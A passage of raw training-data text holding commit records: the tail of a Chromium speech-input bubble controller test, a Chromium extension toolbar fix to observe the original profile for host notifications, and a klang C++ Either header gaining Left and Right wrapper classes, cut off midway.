BUBBLE_TEST_FOCUS_CHANGED)\n delegate->InfoBubbleClosed();\n else\n delegate->RecognitionCancelled();\n }\n\n static void set_type(BubbleType type) {\n type_ = type;\n }\n\n virtual void SetRecognizingMode() {}\n\n private:\n static BubbleType type_;\n};\n\n\/\/ The test fixture.\nclass SpeechInputBubbleControllerTest\n : public SpeechInputBubbleControllerDelegate,\n public testing::Test {\n public:\n SpeechInputBubbleControllerTest()\n : io_loop_(MessageLoop::TYPE_IO),\n ui_thread_(ChromeThread::UI), \/\/ constructs a new thread and loop\n io_thread_(ChromeThread::IO, &io_loop_), \/\/ resuses main thread loop\n recognition_cancelled_(false),\n focus_changed_(false) {\n }\n\n \/\/ SpeechInputBubbleControllerDelegate methods.\n virtual void RecognitionCancelled(int caller_id) {\n EXPECT_TRUE(ChromeThread::CurrentlyOn(ChromeThread::IO));\n recognition_cancelled_ = true;\n MessageLoop::current()->Quit();\n }\n\n virtual void SpeechInputFocusChanged(int caller_id) {\n EXPECT_TRUE(ChromeThread::CurrentlyOn(ChromeThread::IO));\n focus_changed_ = true;\n MessageLoop::current()->Quit();\n }\n\n \/\/ testing::Test methods.\n virtual void SetUp() {\n SpeechInputBubble::set_factory(\n &SpeechInputBubbleControllerTest::CreateBubble);\n ui_thread_.Start();\n }\n\n virtual void TearDown() {\n SpeechInputBubble::set_factory(NULL);\n ui_thread_.Stop();\n }\n\n static SpeechInputBubble* CreateBubble(TabContents* tab_contents,\n SpeechInputBubble::Delegate* delegate,\n const gfx::Rect& element_rect) {\n EXPECT_TRUE(ChromeThread::CurrentlyOn(ChromeThread::UI));\n return new MockSpeechInputBubble(tab_contents, delegate, element_rect);\n }\n\n protected:\n \/\/ The main thread of the test is marked as the IO thread and we create a new\n \/\/ one for the UI thread.\n MessageLoop io_loop_;\n ChromeThread ui_thread_;\n ChromeThread io_thread_;\n bool recognition_cancelled_;\n bool focus_changed_;\n};\n\nMockSpeechInputBubble::BubbleType MockSpeechInputBubble::type_ =\n MockSpeechInputBubble::BUBBLE_TEST_FOCUS_CHANGED;\n\n\/\/ Test that the speech bubble UI gets created in the UI thread and that the\n\/\/ focus changed callback comes back in the IO thread.\n\/\/\n\/\/ Crashes on Win only. http:\/\/crbug.com\/54044\n#if defined(OS_WIN)\n#define MAYBE_TestFocusChanged DISABLED_TestFocusChanged\n#else\n#define MAYBE_TestFocusChanged TestFocusChanged\n#endif\nTEST_F(SpeechInputBubbleControllerTest, MAYBE_TestFocusChanged) {\n MockSpeechInputBubble::set_type(\n MockSpeechInputBubble::BUBBLE_TEST_FOCUS_CHANGED);\n\n scoped_refptr<SpeechInputBubbleController> controller(\n new SpeechInputBubbleController(this));\n\n controller->CreateBubble(0, 1, 1, gfx::Rect(1, 1));\n MessageLoop::current()->Run();\n EXPECT_TRUE(focus_changed_);\n EXPECT_FALSE(recognition_cancelled_);\n}\n\n\/\/ Test that the speech bubble UI gets created in the UI thread and that the\n\/\/ recognition cancelled callback comes back in the IO thread.\nTEST_F(SpeechInputBubbleControllerTest, TestRecognitionCancelled) {\n MockSpeechInputBubble::set_type(\n MockSpeechInputBubble::BUBBLE_TEST_RECOGNITION_CANCELLED);\n\n scoped_refptr<SpeechInputBubbleController> controller(\n new SpeechInputBubbleController(this));\n\n controller->CreateBubble(0, 1, 1, gfx::Rect(1, 1));\n MessageLoop::current()->Run();\n EXPECT_TRUE(recognition_cancelled_);\n EXPECT_FALSE(focus_changed_);\n}\n\n} \/\/ namespace speech_input\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/ui\/extensions\/extension_action_view_controller.h\"\n\n#include \"base\/logging.h\"\n#include \"base\/strings\/utf_string_conversions.h\"\n#include \"chrome\/browser\/extensions\/api\/commands\/command_service.h\"\n#include \"chrome\/browser\/extensions\/api\/extension_action\/extension_action_api.h\"\n#include \"chrome\/browser\/extensions\/extension_action.h\"\n#include \"chrome\/browser\/extensions\/extension_view_host.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/sessions\/session_tab_helper.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/browser\/ui\/extensions\/accelerator_priority.h\"\n#include \"chrome\/browser\/ui\/extensions\/extension_action_platform_delegate.h\"\n#include \"chrome\/browser\/ui\/toolbar\/toolbar_action_view_delegate.h\"\n#include \"chrome\/common\/extensions\/api\/extension_action\/action_info.h\"\n#include \"content\/public\/browser\/notification_details.h\"\n#include \"content\/public\/browser\/notification_source.h\"\n#include \"extensions\/browser\/extension_host.h\"\n#include \"extensions\/browser\/extension_registry.h\"\n#include \"extensions\/browser\/notification_types.h\"\n#include \"extensions\/common\/extension.h\"\n#include \"extensions\/common\/manifest_constants.h\"\n#include \"ui\/gfx\/image\/image_skia.h\"\n#include \"ui\/gfx\/image\/image_skia_operations.h\"\n\nusing extensions::ActionInfo;\nusing extensions::CommandService;\n\nExtensionActionViewController::ExtensionActionViewController(\n const extensions::Extension* extension,\n Browser* browser,\n ExtensionAction* extension_action)\n : extension_(extension),\n browser_(browser),\n extension_action_(extension_action),\n popup_host_(nullptr),\n view_delegate_(nullptr),\n platform_delegate_(ExtensionActionPlatformDelegate::Create(this)),\n icon_factory_(browser->profile(), extension, extension_action, this),\n icon_observer_(nullptr),\n extension_registry_(\n extensions::ExtensionRegistry::Get(browser_->profile())) {\n DCHECK(extension_action);\n DCHECK(extension_action->action_type() == ActionInfo::TYPE_PAGE ||\n extension_action->action_type() == ActionInfo::TYPE_BROWSER);\n DCHECK(extension);\n}\n\nExtensionActionViewController::~ExtensionActionViewController() {\n}\n\nconst std::string& ExtensionActionViewController::GetId() const {\n return extension_->id();\n}\n\nvoid ExtensionActionViewController::SetDelegate(\n ToolbarActionViewDelegate* delegate) {\n DCHECK((delegate == nullptr) ^ (view_delegate_ == nullptr));\n if (delegate) {\n view_delegate_ = delegate;\n platform_delegate_->OnDelegateSet();\n } else {\n if (is_showing_popup())\n HidePopup();\n platform_delegate_.reset();\n view_delegate_ = nullptr;\n }\n}\n\ngfx::Image ExtensionActionViewController::GetIcon(\n content::WebContents* web_contents) {\n if (!ExtensionIsValid())\n return gfx::Image();\n\n return icon_factory_.GetIcon(SessionTabHelper::IdForTab(web_contents));\n}\n\ngfx::ImageSkia ExtensionActionViewController::GetIconWithBadge() {\n if (!ExtensionIsValid())\n return gfx::ImageSkia();\n\n content::WebContents* web_contents = view_delegate_->GetCurrentWebContents();\n gfx::Size spacing(0, 3);\n gfx::ImageSkia icon = *GetIcon(web_contents).ToImageSkia();\n if (!IsEnabled(web_contents))\n icon = gfx::ImageSkiaOperations::CreateTransparentImage(icon, .25);\n return extension_action_->GetIconWithBadge(\n icon, SessionTabHelper::IdForTab(web_contents), spacing);\n}\n\nbase::string16 ExtensionActionViewController::GetActionName() const {\n if (!ExtensionIsValid())\n return base::string16();\n\n return base::UTF8ToUTF16(extension_->name());\n}\n\nbase::string16 ExtensionActionViewController::GetAccessibleName(\n content::WebContents* web_contents) const {\n if (!ExtensionIsValid())\n return base::string16();\n\n std::string title =\n extension_action()->GetTitle(SessionTabHelper::IdForTab(web_contents));\n return base::UTF8ToUTF16(title.empty() ? extension()->name() : title);\n}\n\nbase::string16 ExtensionActionViewController::GetTooltip(\n content::WebContents* web_contents) const {\n return GetAccessibleName(web_contents);\n}\n\nbool ExtensionActionViewController::IsEnabled(\n content::WebContents* web_contents) const {\n if (!ExtensionIsValid())\n return false;\n\n return extension_action_->GetIsVisible(\n SessionTabHelper::IdForTab(web_contents)) ||\n extensions::ExtensionActionAPI::Get(browser_->profile())->\n ExtensionWantsToRun(extension(), web_contents);\n}\n\nbool ExtensionActionViewController::WantsToRun(\n content::WebContents* web_contents) const {\n return extensions::ExtensionActionAPI::Get(browser_->profile())->\n ExtensionWantsToRun(extension(), web_contents);\n}\n\nbool ExtensionActionViewController::HasPopup(\n content::WebContents* web_contents) const {\n if (!ExtensionIsValid())\n return false;\n\n int tab_id = SessionTabHelper::IdForTab(web_contents);\n return (tab_id < 0) ? false : extension_action_->HasPopup(tab_id);\n}\n\nvoid ExtensionActionViewController::HidePopup() {\n if (is_showing_popup()) {\n platform_delegate_->CloseOwnPopup();\n \/\/ We need to do these actions synchronously (instead of closing and then\n \/\/ performing the rest of the cleanup in Observe()) because the extension\n \/\/ host can close asynchronously, and we need to keep the view delegate\n \/\/ up-to-date.\n OnPopupClosed();\n }\n}\n\ngfx::NativeView ExtensionActionViewController::GetPopupNativeView() {\n return platform_delegate_->GetPopupNativeView();\n}\n\nui::MenuModel* ExtensionActionViewController::GetContextMenu() {\n if (!ExtensionIsValid() || !extension()->ShowConfigureContextMenus())\n return nullptr;\n\n \/\/ Reconstruct the menu every time because the menu's contents are dynamic.\n context_menu_model_ = make_scoped_refptr(new ExtensionContextMenuModel(\n extension(), browser_, this));\n return context_menu_model_.get();\n}\n\nbool ExtensionActionViewController::IsMenuRunning() const {\n return platform_delegate_->IsMenuRunning();\n}\n\nbool ExtensionActionViewController::CanDrag() const {\n return true;\n}\n\nbool ExtensionActionViewController::ExecuteAction(bool by_user) {\n return ExecuteAction(SHOW_POPUP, by_user);\n}\n\nvoid ExtensionActionViewController::UpdateState() {\n if (!ExtensionIsValid())\n return;\n\n view_delegate_->UpdateState();\n}\n\nbool ExtensionActionViewController::ExecuteAction(PopupShowAction show_action,\n bool grant_tab_permissions) {\n if (!ExtensionIsValid())\n return false;\n\n if (extensions::ExtensionActionAPI::Get(browser_->profile())\n ->ExecuteExtensionAction(\n extension_, browser_, grant_tab_permissions) ==\n ExtensionAction::ACTION_SHOW_POPUP) {\n GURL popup_url = extension_action_->GetPopupUrl(\n SessionTabHelper::IdForTab(view_delegate_->GetCurrentWebContents()));\n return static_cast<ExtensionActionViewController*>(\n view_delegate_->GetPreferredPopupViewController())\n ->ShowPopupWithUrl(show_action, popup_url, grant_tab_permissions);\n }\n return false;\n}\n\nvoid ExtensionActionViewController::PaintExtra(\n gfx::Canvas* canvas,\n const gfx::Rect& bounds,\n content::WebContents* web_contents) const {\n if (!ExtensionIsValid())\n return;\n\n int tab_id = SessionTabHelper::IdForTab(web_contents);\n if (tab_id >= 0)\n extension_action_->PaintBadge(canvas, bounds, tab_id);\n}\n\nvoid ExtensionActionViewController::RegisterCommand() {\n if (!ExtensionIsValid())\n return;\n\n platform_delegate_->RegisterCommand();\n}\n\nvoid ExtensionActionViewController::InspectPopup() {\n ExecuteAction(SHOW_POPUP_AND_INSPECT, true);\n}\n\nvoid ExtensionActionViewController::OnIconUpdated() {\n if (icon_observer_)\n icon_observer_->OnIconUpdated();\n if (view_delegate_)\n view_delegate_->UpdateState();\n}\n\nvoid ExtensionActionViewController::Observe(\n int type,\n const content::NotificationSource& source,\n const content::NotificationDetails& details) {\n \/\/ TODO(devlin): Ew. Notifications. Extract out an observer interface for\n \/\/ ExtensionHost and convert this.\n DCHECK_EQ(extensions::NOTIFICATION_EXTENSION_HOST_DESTROYED, type);\n extensions::ExtensionHost* host =\n content::Details<extensions::ExtensionHost>(details).ptr();\n if (host == popup_host_)\n OnPopupClosed();\n}\n\nbool ExtensionActionViewController::ExtensionIsValid() const {\n return extension_registry_->enabled_extensions().Contains(extension_->id());\n}\n\nbool ExtensionActionViewController::GetExtensionCommand(\n extensions::Command* command) {\n DCHECK(command);\n if (!ExtensionIsValid())\n return false;\n\n CommandService* command_service = CommandService::Get(browser_->profile());\n if (extension_action_->action_type() == ActionInfo::TYPE_PAGE) {\n return command_service->GetPageActionCommand(\n extension_->id(), CommandService::ACTIVE, command, NULL);\n }\n return command_service->GetBrowserActionCommand(\n extension_->id(), CommandService::ACTIVE, command, NULL);\n}\n\nbool ExtensionActionViewController::ShowPopupWithUrl(\n PopupShowAction show_action,\n const GURL& popup_url,\n bool grant_tab_permissions) {\n if (!ExtensionIsValid())\n return false;\n\n bool already_showing = is_showing_popup();\n\n \/\/ Always hide the current popup, even if it's not owned by this extension.\n \/\/ Only one popup should be visible at a time.\n platform_delegate_->CloseActivePopup();\n\n \/\/ If we were showing a popup already, then we treat the action to open the\n \/\/ same one as a desire to close it (like clicking a menu button that was\n \/\/ already open).\n if (already_showing)\n return false;\n\n popup_host_ = platform_delegate_->ShowPopupWithUrl(\n show_action, popup_url, grant_tab_permissions);\n if (popup_host_) {\n \/\/ Lazily register for notifications about extension host destructions.\n static const int kType = extensions::NOTIFICATION_EXTENSION_HOST_DESTROYED;\n content::Source<content::BrowserContext> source(browser_->profile());\n if (!registrar_.IsRegistered(this, kType, source))\n registrar_.Add(this, kType, source);\n\n view_delegate_->OnPopupShown(grant_tab_permissions);\n }\n return is_showing_popup();\n}\n\nvoid ExtensionActionViewController::OnPopupClosed() {\n popup_host_ = nullptr;\n view_delegate_->OnPopupClosed();\n}\n<commit_msg>[Extensions Toolbar] Observe original profile for extension host notifications<commit_after>\/\/ Copyright 2014 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/browser\/ui\/extensions\/extension_action_view_controller.h\"\n\n#include \"base\/logging.h\"\n#include \"base\/strings\/utf_string_conversions.h\"\n#include \"chrome\/browser\/extensions\/api\/commands\/command_service.h\"\n#include \"chrome\/browser\/extensions\/api\/extension_action\/extension_action_api.h\"\n#include \"chrome\/browser\/extensions\/extension_action.h\"\n#include \"chrome\/browser\/extensions\/extension_view_host.h\"\n#include \"chrome\/browser\/profiles\/profile.h\"\n#include \"chrome\/browser\/sessions\/session_tab_helper.h\"\n#include \"chrome\/browser\/ui\/browser.h\"\n#include \"chrome\/browser\/ui\/extensions\/accelerator_priority.h\"\n#include \"chrome\/browser\/ui\/extensions\/extension_action_platform_delegate.h\"\n#include \"chrome\/browser\/ui\/toolbar\/toolbar_action_view_delegate.h\"\n#include \"chrome\/common\/extensions\/api\/extension_action\/action_info.h\"\n#include \"content\/public\/browser\/notification_details.h\"\n#include \"content\/public\/browser\/notification_source.h\"\n#include \"extensions\/browser\/extension_host.h\"\n#include \"extensions\/browser\/extension_registry.h\"\n#include \"extensions\/browser\/notification_types.h\"\n#include \"extensions\/common\/extension.h\"\n#include \"extensions\/common\/manifest_constants.h\"\n#include \"ui\/gfx\/image\/image_skia.h\"\n#include \"ui\/gfx\/image\/image_skia_operations.h\"\n\nusing extensions::ActionInfo;\nusing extensions::CommandService;\n\nExtensionActionViewController::ExtensionActionViewController(\n const extensions::Extension* extension,\n Browser* browser,\n ExtensionAction* extension_action)\n : extension_(extension),\n browser_(browser),\n extension_action_(extension_action),\n popup_host_(nullptr),\n view_delegate_(nullptr),\n platform_delegate_(ExtensionActionPlatformDelegate::Create(this)),\n icon_factory_(browser->profile(), extension, extension_action, this),\n icon_observer_(nullptr),\n extension_registry_(\n extensions::ExtensionRegistry::Get(browser_->profile())) {\n DCHECK(extension_action);\n DCHECK(extension_action->action_type() == ActionInfo::TYPE_PAGE ||\n extension_action->action_type() == ActionInfo::TYPE_BROWSER);\n DCHECK(extension);\n}\n\nExtensionActionViewController::~ExtensionActionViewController() {\n}\n\nconst std::string& ExtensionActionViewController::GetId() const {\n return extension_->id();\n}\n\nvoid ExtensionActionViewController::SetDelegate(\n ToolbarActionViewDelegate* delegate) {\n DCHECK((delegate == nullptr) ^ (view_delegate_ == nullptr));\n if (delegate) {\n view_delegate_ = delegate;\n platform_delegate_->OnDelegateSet();\n } else {\n if (is_showing_popup())\n HidePopup();\n platform_delegate_.reset();\n view_delegate_ = nullptr;\n }\n}\n\ngfx::Image ExtensionActionViewController::GetIcon(\n content::WebContents* web_contents) {\n if (!ExtensionIsValid())\n return gfx::Image();\n\n return icon_factory_.GetIcon(SessionTabHelper::IdForTab(web_contents));\n}\n\ngfx::ImageSkia ExtensionActionViewController::GetIconWithBadge() {\n if (!ExtensionIsValid())\n return gfx::ImageSkia();\n\n content::WebContents* web_contents = view_delegate_->GetCurrentWebContents();\n gfx::Size spacing(0, 3);\n gfx::ImageSkia icon = *GetIcon(web_contents).ToImageSkia();\n if (!IsEnabled(web_contents))\n icon = gfx::ImageSkiaOperations::CreateTransparentImage(icon, .25);\n return extension_action_->GetIconWithBadge(\n icon, SessionTabHelper::IdForTab(web_contents), spacing);\n}\n\nbase::string16 ExtensionActionViewController::GetActionName() const {\n if (!ExtensionIsValid())\n return base::string16();\n\n return base::UTF8ToUTF16(extension_->name());\n}\n\nbase::string16 ExtensionActionViewController::GetAccessibleName(\n content::WebContents* web_contents) const {\n if (!ExtensionIsValid())\n return base::string16();\n\n std::string title =\n extension_action()->GetTitle(SessionTabHelper::IdForTab(web_contents));\n return base::UTF8ToUTF16(title.empty() ? extension()->name() : title);\n}\n\nbase::string16 ExtensionActionViewController::GetTooltip(\n content::WebContents* web_contents) const {\n return GetAccessibleName(web_contents);\n}\n\nbool ExtensionActionViewController::IsEnabled(\n content::WebContents* web_contents) const {\n if (!ExtensionIsValid())\n return false;\n\n return extension_action_->GetIsVisible(\n SessionTabHelper::IdForTab(web_contents)) ||\n extensions::ExtensionActionAPI::Get(browser_->profile())->\n ExtensionWantsToRun(extension(), web_contents);\n}\n\nbool ExtensionActionViewController::WantsToRun(\n content::WebContents* web_contents) const {\n return extensions::ExtensionActionAPI::Get(browser_->profile())->\n ExtensionWantsToRun(extension(), web_contents);\n}\n\nbool ExtensionActionViewController::HasPopup(\n content::WebContents* web_contents) const {\n if (!ExtensionIsValid())\n return false;\n\n int tab_id = SessionTabHelper::IdForTab(web_contents);\n return (tab_id < 0) ? false : extension_action_->HasPopup(tab_id);\n}\n\nvoid ExtensionActionViewController::HidePopup() {\n if (is_showing_popup()) {\n platform_delegate_->CloseOwnPopup();\n \/\/ We need to do these actions synchronously (instead of closing and then\n \/\/ performing the rest of the cleanup in Observe()) because the extension\n \/\/ host can close asynchronously, and we need to keep the view delegate\n \/\/ up-to-date.\n OnPopupClosed();\n }\n}\n\ngfx::NativeView ExtensionActionViewController::GetPopupNativeView() {\n return platform_delegate_->GetPopupNativeView();\n}\n\nui::MenuModel* ExtensionActionViewController::GetContextMenu() {\n if (!ExtensionIsValid() || !extension()->ShowConfigureContextMenus())\n return nullptr;\n\n \/\/ Reconstruct the menu every time because the menu's contents are dynamic.\n context_menu_model_ = make_scoped_refptr(new ExtensionContextMenuModel(\n extension(), browser_, this));\n return context_menu_model_.get();\n}\n\nbool ExtensionActionViewController::IsMenuRunning() const {\n return platform_delegate_->IsMenuRunning();\n}\n\nbool ExtensionActionViewController::CanDrag() const {\n return true;\n}\n\nbool ExtensionActionViewController::ExecuteAction(bool by_user) {\n return ExecuteAction(SHOW_POPUP, by_user);\n}\n\nvoid ExtensionActionViewController::UpdateState() {\n if (!ExtensionIsValid())\n return;\n\n view_delegate_->UpdateState();\n}\n\nbool ExtensionActionViewController::ExecuteAction(PopupShowAction show_action,\n bool grant_tab_permissions) {\n if (!ExtensionIsValid())\n return false;\n\n if (extensions::ExtensionActionAPI::Get(browser_->profile())\n ->ExecuteExtensionAction(\n extension_, browser_, grant_tab_permissions) ==\n ExtensionAction::ACTION_SHOW_POPUP) {\n GURL popup_url = extension_action_->GetPopupUrl(\n SessionTabHelper::IdForTab(view_delegate_->GetCurrentWebContents()));\n return static_cast<ExtensionActionViewController*>(\n view_delegate_->GetPreferredPopupViewController())\n ->ShowPopupWithUrl(show_action, popup_url, grant_tab_permissions);\n }\n return false;\n}\n\nvoid ExtensionActionViewController::PaintExtra(\n gfx::Canvas* canvas,\n const gfx::Rect& bounds,\n content::WebContents* web_contents) const {\n if (!ExtensionIsValid())\n return;\n\n int tab_id = SessionTabHelper::IdForTab(web_contents);\n if (tab_id >= 0)\n extension_action_->PaintBadge(canvas, bounds, tab_id);\n}\n\nvoid ExtensionActionViewController::RegisterCommand() {\n if (!ExtensionIsValid())\n return;\n\n platform_delegate_->RegisterCommand();\n}\n\nvoid ExtensionActionViewController::InspectPopup() {\n ExecuteAction(SHOW_POPUP_AND_INSPECT, true);\n}\n\nvoid ExtensionActionViewController::OnIconUpdated() {\n if (icon_observer_)\n icon_observer_->OnIconUpdated();\n if (view_delegate_)\n view_delegate_->UpdateState();\n}\n\nvoid ExtensionActionViewController::Observe(\n int type,\n const content::NotificationSource& source,\n const content::NotificationDetails& details) {\n \/\/ TODO(devlin): Ew. Notifications. Extract out an observer interface for\n \/\/ ExtensionHost and convert this.\n DCHECK_EQ(extensions::NOTIFICATION_EXTENSION_HOST_DESTROYED, type);\n extensions::ExtensionHost* host =\n content::Details<extensions::ExtensionHost>(details).ptr();\n if (host == popup_host_)\n OnPopupClosed();\n}\n\nbool ExtensionActionViewController::ExtensionIsValid() const {\n return extension_registry_->enabled_extensions().Contains(extension_->id());\n}\n\nbool ExtensionActionViewController::GetExtensionCommand(\n extensions::Command* command) {\n DCHECK(command);\n if (!ExtensionIsValid())\n return false;\n\n CommandService* command_service = CommandService::Get(browser_->profile());\n if (extension_action_->action_type() == ActionInfo::TYPE_PAGE) {\n return command_service->GetPageActionCommand(\n extension_->id(), CommandService::ACTIVE, command, NULL);\n }\n return command_service->GetBrowserActionCommand(\n extension_->id(), CommandService::ACTIVE, command, NULL);\n}\n\nbool ExtensionActionViewController::ShowPopupWithUrl(\n PopupShowAction show_action,\n const GURL& popup_url,\n bool grant_tab_permissions) {\n if (!ExtensionIsValid())\n return false;\n\n bool already_showing = is_showing_popup();\n\n \/\/ Always hide the current popup, even if it's not owned by this extension.\n \/\/ Only one popup should be visible at a time.\n platform_delegate_->CloseActivePopup();\n\n \/\/ If we were showing a popup already, then we treat the action to open the\n \/\/ same one as a desire to close it (like clicking a menu button that was\n \/\/ already open).\n if (already_showing)\n return false;\n\n popup_host_ = platform_delegate_->ShowPopupWithUrl(\n show_action, popup_url, grant_tab_permissions);\n if (popup_host_) {\n \/\/ Lazily register for notifications about extension host destructions.\n static const int kType = extensions::NOTIFICATION_EXTENSION_HOST_DESTROYED;\n content::Source<content::BrowserContext> source(\n browser_->profile()->GetOriginalProfile());\n if (!registrar_.IsRegistered(this, kType, source))\n registrar_.Add(this, kType, source);\n\n view_delegate_->OnPopupShown(grant_tab_permissions);\n }\n return is_showing_popup();\n}\n\nvoid ExtensionActionViewController::OnPopupClosed() {\n popup_host_ = nullptr;\n view_delegate_->OnPopupClosed();\n}\n<|endoftext|>"} {"text":"<commit_before>#ifndef KMC_KLANG_EITHER_HPP\n#define KMC_KLANG_EITHER_HPP\n\n#include <cassert>\n\nnamespace klang {\n\nstruct LeftTag {};\nstruct RightTag {};\n\nconstexpr LeftTag left_tag;\nconstexpr RightTag right_tag;\n\ntemplate <typename L, typename R>\nclass Either {\n public:\n Either(LeftTag, const L& left)\n : is_right_{false}, left_{left}\n {}\n Either(LeftTag, L&& left)\n : is_right_{false}, left_{std::move(left)}\n {}\n Either(RightTag, const R& right)\n : is_right_{true}, right_{right}\n {}\n Either(RightTag, R&& right)\n : is_right_{true}, right_{std::move(right)}\n {}\n Either(const Either& that)\n : is_right_{that.is_right_} {\n construct(that);\n }\n Either(Either&& that)\n : is_right_{that.is_right_} {\n construct(std::move(that));\n }\n Either& operator=(const Either& that) {\n assign(that);\n return *this;\n }\n Either& operator=(Either&& that) {\n assign(std::move(that));\n return *this;\n }\n ~Either() {\n destruct();\n }\n void swap(Either& that) {\n Either tmp{std::move(*this)};\n *this = std::move(that);\n that = std::move(tmp);\n }\n explicit operator bool() const {\n return is_right_;\n }\n const R& operator*() const& {\n assert(is_right_);\n return right_;\n }\n R& operator*() & {\n assert(is_right_);\n return right_;\n }\n R&& operator*() && {\n assert(is_right_);\n return std::move(right_);\n }\n const R* operator->() const {\n assert(is_right_);\n return &right_;\n }\n R* operator->() {\n assert(is_right_);\n return &right_;\n }\n template <typename L_, typename R_>\n friend class Either;\n friend void swap(Either& lhs, Either& rhs) {\n lhs.swap(rhs);\n }\n friend bool operator==(const Either& lhs, const Either& rhs) {\n if (lhs.is_right_ != rhs.is_right_) {\n return false;\n } else if (lhs.is_right_) {\n return lhs.right_ == rhs.right_;\n } else {\n return lhs.left_ == rhs.left_;\n }\n }\n friend bool operator<(const Either& lhs, const Either& rhs) {\n if (lhs.is_right_ != rhs.is_right_) {\n return rhs.is_right_;\n } else if (lhs.is_right_) {\n return lhs.right_ < rhs.right_;\n } else {\n return lhs.left_ < rhs.left_;\n }\n }\n private:\n void construct(const Either& src) {\n if (src.is_right_) {\n new (&right_) R{src.right_};\n } else {\n new (&left_) L{src.left_};\n }\n }\n void construct(Either&& src) {\n if (src.is_right_) {\n new (&right_) R{std::move(src.right_)};\n } else {\n new (&left_) L{std::move(src.left_)};\n }\n }\n void assign(const Either& src) {\n if (is_right_ == src.is_right_) {\n if (is_right_) {\n right_ = src.right_;\n } else {\n left_ = src.left_;\n }\n } else {\n destruct();\n construct(src);\n is_right_ = src.is_right_;\n }\n }\n void assign(Either&& src) {\n if (is_right_ == src.is_right_) {\n if (is_right_) {\n right_ = std::move(src.right_);\n } else {\n left_ = std::move(src.left_);\n }\n } else {\n destruct();\n construct(std::move(src));\n is_right_ = src.is_right_;\n }\n }\n void destruct() {\n if (is_right_) {\n right_.~R();\n } else {\n left_.~L();\n }\n }\n private:\n bool is_right_;\n union {\n L left_;\n R right_;\n };\n};\n\n} \/\/ namespace klang\n\n#endif \/\/ KMC_KLANG_EITHER_HPP\n<commit_msg>Add Left and Right wrapper class<commit_after>#ifndef KMC_KLANG_EITHER_HPP\n#define KMC_KLANG_EITHER_HPP\n\n#include <cassert>\n#include <utility>\n\nnamespace klang {\n\nstruct LeftTag {};\nstruct RightTag {};\n\nconstexpr LeftTag left_tag;\nconstexpr RightTag right_tag;\n\ntemplate <typename L>\nclass Left {\n public:\n explicit Left(const L& src)\n : left_{src}\n {}\n explicit Left(L&& src)\n : left_{std::move(src)}\n {}\n Left(const Left&) = default;\n Left(Left&&) = default;\n Left& operator=(const Left&) = default;\n Left& operator=(Left&&) = default;\n void swap(Left& that) {\n using std::swap;\n swap(left_, that.left_);\n }\n const L& value() const& {\n return left_;\n }\n L&& value() && {\n return std::move(left_);\n }\n template <typename L_>\n friend class Left;\n friend void swap(Left& lhs, Left& rhs) {\n lhs.swap(rhs);\n }\n friend bool operator==(const Left& lhs, const Left& rhs) {\n return lhs.left_ == rhs.left_;\n }\n friend bool operator<(const Left& lhs, const Left& rhs) {\n return lhs.left_ < rhs.left_;\n }\n private:\n L left_;\n};\n\ntemplate <typename R>\nclass Right {\n public:\n explicit Right(const R& src)\n : right_{src}\n {}\n explicit Right(R&& src)\n : right_{std::move(src)}\n {}\n Right(const Right&) = default;\n Right(Right&&) = default;\n Right& operator=(const Right&) = default;\n Right& operator=(Right&&) = default;\n void swap(Right& that) {\n using std::swap;\n swap(right_, that.right_);\n }\n const R& value() const& {\n return right_;\n }\n R&& value() && {\n return std::move(right_);\n }\n template <typename R_>\n friend class Right;\n friend void swap(Right& lhs, Right& rhs) {\n lhs.swap(rhs);\n }\n friend bool operator==(const Right& lhs, const Right& rhs) {\n return lhs.right_ == rhs.right_;\n }\n friend bool operator<(const Right& lhs, const Right& rhs) {\n return lhs.right_ < rhs.right_;\n }\n private:\n R right_;\n};\n\ntemplate <typename L, typename R>\nclass Either {\n public:\n Either(LeftTag, const L& left)\n : is_right_{false}, left_{left}\n {}\n Either(LeftTag, L&& left)\n : is_right_{false}, left_{std::move(left)}\n {}\n Either(RightTag, const R& right)\n : is_right_{true}, right_{right}\n {}\n Either(RightTag, R&& right)\n : is_right_{true}, right_{std::move(right)}\n {}\n Either(const Either& that)\n : is_right_{that.is_right_} {\n construct(that);\n }\n Either(Either&& that)\n : is_right_{that.is_right_} {\n construct(std::move(that));\n }\n Either& operator=(const Either& that) {\n assign(that);\n return *this;\n }\n Either& operator=(Either&& that) {\n assign(std::move(that));\n return *this;\n }\n ~Either() {\n destruct();\n }\n void swap(Either& that) {\n Either tmp{std::move(*this)};\n *this = std::move(that);\n that = std::move(tmp);\n }\n explicit operator bool() const {\n return is_right_;\n }\n const R& operator*() const& {\n assert(is_right_);\n return right_;\n }\n R& operator*() & {\n assert(is_right_);\n return right_;\n }\n R&& operator*() && {\n assert(is_right_);\n return std::move(right_);\n }\n const R* operator->() const {\n assert(is_right_);\n return &right_;\n }\n R* operator->() {\n assert(is_right_);\n return &right_;\n }\n template <typename L_, typename R_>\n friend class Either;\n friend void swap(Either& lhs, Either& rhs) {\n lhs.swap(rhs);\n }\n friend bool operator==(const Either& lhs, const Either& rhs) {\n if (lhs.is_right_ != rhs.is_right_) {\n return false;\n } else if (lhs.is_right_) {\n return lhs.right_ == rhs.right_;\n } else {\n return lhs.left_ == rhs.left_;\n }\n }\n friend bool operator<(const Either& lhs, const Either& rhs) {\n if (lhs.is_right_ != rhs.is_right_) {\n return rhs.is_right_;\n } else if (lhs.is_right_) {\n return lhs.right_ < rhs.right_;\n } else {\n return lhs.left_ < rhs.left_;\n }\n }\n private:\n void construct(const Either& src) {\n if (src.is_right_) {\n new (&right_) R{src.right_};\n } else {\n new (&left_) L{src.left_};\n }\n }\n void construct(Either&& src) {\n if (src.is_right_) {\n new (&right_) R{std::move(src.right_)};\n } else {\n new (&left_) L{std::move(src.left_)};\n }\n }\n void assign(const Either& src) {\n if (is_right_ == src.is_right_) {\n if (is_right_) {\n right_ = src.right_;\n } else {\n left_ = src.left_;\n }\n } else {\n destruct();\n construct(src);\n is_right_ = src.is_right_;\n }\n }\n void assign(Either&& src) {\n if (is_right_ == src.is_right_) {\n if (is_right_) {\n right_ = std::move(src.right_);\n } else {\n left_ = std::move(src.left_);\n }\n } else {\n destruct();\n construct(std::move(src));\n 